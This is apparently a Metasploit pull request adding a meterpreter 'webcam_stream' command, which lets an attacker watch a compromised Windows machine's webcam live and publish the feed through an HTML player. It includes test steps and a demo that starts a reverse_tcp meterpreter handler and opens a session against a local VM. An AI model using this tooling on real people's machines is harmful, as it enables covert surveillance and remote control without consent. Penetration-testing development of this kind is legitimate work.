Add webcam livestream feature for meterpreter

[SeeRM #8729] - This meterpreter command allows the attacker to observe the target at real-time by turning their webcam live. There is also a HTML-based player provided, which does not require a plugin or anything, just open it with a browser. The HTML-based player also allows the attacker to put the live feed on the web (evil? yeah, kind of. Depends on how you use it.)

This is inspired by Jone Hussain in the following video. Kudos to the man:
http://www.youtube.com/watch?v=17RXTGacKes

How to test:

- [x] In your VM, make sure it is connected to a webcam. (Devs on OS X: This is pretty easy, just go to "USB & Bluetooth", and connect your "Apple Factime HD camera")
- [x] Get a Windows meterpreter session going, and make sure you're at the meterpreter prompt
- [x] Run command ```webcam_stream```

Demo:

```
$ msfcli multi/handler payload=windows/meterpreter/reverse_tcp lhost=10.0.1.76 lport=4444 post="" E
[*] Initializing modules...
payload => windows/meterpreter/reverse_tcp
lhost => 10.0.1.76
lport => 4444
[*] Started reverse handler on 10.0.1.76:4444 
[*] Starting the payload handler...
[*] Sending stage (769024 bytes) to 10.0.1.76
[*] Meterpreter session 1 opened (10.0.1.76:4444 -> 10.0.1.76:55010) at 2013-12-30 17:45:32 -0600

meterpreter > webcam_stream
[*] Starting...
[*] Preparing stream interface...
[*] Opening interface at: ybeTCnxm.html
[*] Streaming...
[*] Stopped
meterpreter >
```

It is for the following feature request:
http://dev.metasploit.com/redmine/issues/8729